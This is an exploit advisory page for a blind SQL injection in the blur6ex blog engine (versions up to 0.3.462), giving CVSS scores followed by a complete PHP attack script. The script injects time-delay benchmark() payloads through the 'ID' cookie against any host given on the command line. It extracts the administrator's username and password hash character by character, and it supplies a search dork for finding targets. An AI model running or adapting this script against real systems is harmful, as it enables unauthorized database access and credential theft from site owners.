blur6ex <= 0.3.462 'ID' blind sql injection

Credit: rgod
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php -q -d short_open_tag=on <? echo "blur6ex <= 0.3.462 'ID' blind SQL injection / admin credentials disclosurern"; echo "by rgod rgod (at) autistici (dot) org [email concealed]rn"; echo "site: http://retrogod.altervista.orgrn"; echo "dork: "powered by blur6ex"rnrn"; /* works regardless of php.ini settings */ if ($argc<3) { echo "Usage: php ".$argv[0]." host path OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to blur6exrn"; echo "Options:rn"; echo " -T[prefix] specify a table prefix different from default (no prefix)rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Example:rn"; echo "php ".$argv[0]." localhost /blur6ex/ rn"; echo "php ".$argv[0]." localhost /blur6ex/ -Tblur6ex_rn"; die; } /* software site: vulnerable code in engine/shards/blog.php near lines 497-500: ... case "proc_reply": // In order to set the permissions of the reply it's necessary to know what the parent is $permissionid = mysql_query("SELECT permission FROM blog WHERE ID=" . $_REQUEST['ID']); ... 'ID' argument in not sanitized before to be used in a sql query, injection is blind... this code shows how to use time delays through Mysql benchmark() function, u can use this technique to ask questions of the target system and retrieve data from tables */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } function my_encode($my_string) { $encoded="CHAR("; for ($k=0; $k<=strlen($my_string)-1; $k++) { $encoded.=ord($my_string[$k]); if ($k==strlen($my_string)-1) {$encoded.=")";} else {$encoded.=",";} } return $encoded; } $host=$argv[1]; $path=$argv[2]; $port=80; $prefix=""; $proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $admin=""; $j=1; while (!strstr($admin,chr(0))) { for ($i=0; $i<=255; $i++) { $starttime=time(); echo "starttime -> ".$starttime."rn"; $sql="99999 UNION SELECT IF((ASCII(SUBSTRING(username,".$j.",1))=".$i.") & 1, benchmark(50000000,CHAR(0)),0) FROM ".$prefix."permissiongroups WHERE PGroup=CHAR(97,100,109,105,110)"; $sql=str_replace(" ","/**/",$sql); $sql=urlencode($sql); $packet ="GET ".$path."index.php?shard=blog&action=proc_reply HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: ID=".$sql.";rn"; //through cookies, log this $packet.="Connection: Closernrn"; echo quick_dump($packet)."rn"; sendpacketii($packet); $endtime=time(); echo "endtime -> ".$endtime."rn"; $difftime=$endtime - $starttime; echo "difftime -> ".$difftime."rn"; if ($difftime > 5) {$admin.=chr($i);echo "admin -> ".$admin."[???]rn";sleep(2);break;} if (($i==255) | (eregi("doesn't exist",$html))) { //debug echo $html."rn"; die("Exploit failed...maybe wrong table prefix"); } } $j++; } $admin=str_replace(chr(0),"",$admin); echo "admin -> ".$admin."rn"; $password=""; $j=1; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { $starttime=time(); echo "starttime -> ".$starttime."rn"; $sql="99999 UNION SELECT IF((ASCII(SUBSTRING(password,".$j.",1))=".$i.") & 1, benchmark(50000000,CHAR(0)),0) FROM ".$prefix."users WHERE username=".my_encode($admin); $sql=str_replace(" ","/**/",$sql); $sql=urlencode($sql); $packet ="GET ".$path."index.php?shard=blog&action=proc_reply HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: ID=".$sql.";rn"; $packet.="Connection: Closernrn"; echo quick_dump($packet)."rn"; sendpacketii($packet); $endtime=time(); echo "endtime -> ".$endtime."rn"; $difftime=$endtime - $starttime; echo "difftime -> ".$difftime."rn"; if ($difftime > 5) {$password.=chr($i);echo "password -> ".$password."[???]rn";sleep(2);break;} if ($i==255) {die("Exploit failed...we have an admin user in 'permissiongroups' table, but for some reason there is not a '".$admin."' user in 'users' one...");} } $j++; } //if you are here... echo "Exploit succeeded...rn"; echo "--------------------------------------------------------------------r n"; echo "admin -> ".$admin."rn"; echo "password (sha1)-> ".$password."rn"; echo "--------------------------------------------------------------------r n"; ?> original url:

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